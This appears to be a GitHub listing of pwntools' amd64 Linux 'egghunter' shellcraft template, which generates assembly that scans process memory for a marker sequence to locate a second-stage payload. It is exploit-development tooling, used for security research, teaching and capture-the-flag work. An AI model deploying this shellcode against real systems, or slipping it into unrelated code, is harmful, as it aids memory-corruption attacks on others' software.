/
egghunter.asm
74 lines (62 loc) · 1.78 KB
/
egghunter.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<%
import six
from pwnlib.shellcraft import amd64, pretty, common
from pwnlib.util.packing import pack, unpack
from pwnlib.util.lists import group
from pwnlib import constants, log
%>
<%page args="egg, start_address = 0x7efc00000000, stride = 0x10000"/>
<%docstring>
egghunter(egg, start_address = 0)
Searches memory for the byte sequence 'egg'.
Return value is the address immediately following the match,
stored in RDI.
Arguments:
egg(str, int): String of bytes, or word-size integer to search for
start_address(int): Where to start the search
</%docstring>
<%
egghunter_loop = common.label('egghunter_loop')
memcmp = common.label('egghunter_memcmp')
done = common.label('egghunter_done')
next_page = common.label('egghunter_nextpage')
egg_str = egg
if isinstance(egg, six.integer_types):
egg_str = pack(egg, bytes=4)
if len(egg_str) % 4:
log = log.getLogger('pwnlib.shellcraft.templates.amd64.linux.egghunter')
log.error("Egg size must be a multiple of four bytes")
%>
cld
${amd64.pushstr(egg_str, False)}
% if start_address:
${amd64.mov('rbx', start_address)}
% endif
## Search for pages
${egghunter_loop}:
${amd64.linux.access('rbx', 0)}
## EFAULT == Bad address
cmp al, (-${pretty(constants.EFAULT)}) & 0xff
jz ${next_page}
## We found a page, scan all of the DWORDs
${amd64.mov('rdx', 0x1000 // 4)}
${memcmp}:
test rdx, rdx
jz ${next_page}
## Scan forward by DWORD
${amd64.setregs({'rsi':'rsp',
'rdi':'rbx',
'rcx': len(egg_str) // 4})}
## Success?
repe cmpsd
jz ${done}
## Increment the starting point, decement the counter, restart
add rbx, 4
dec rdx
jnz ${memcmp}
${next_page}:
## Next page
or bx, 0xfff
inc rbx
jmp ${egghunter_loop}
${done}: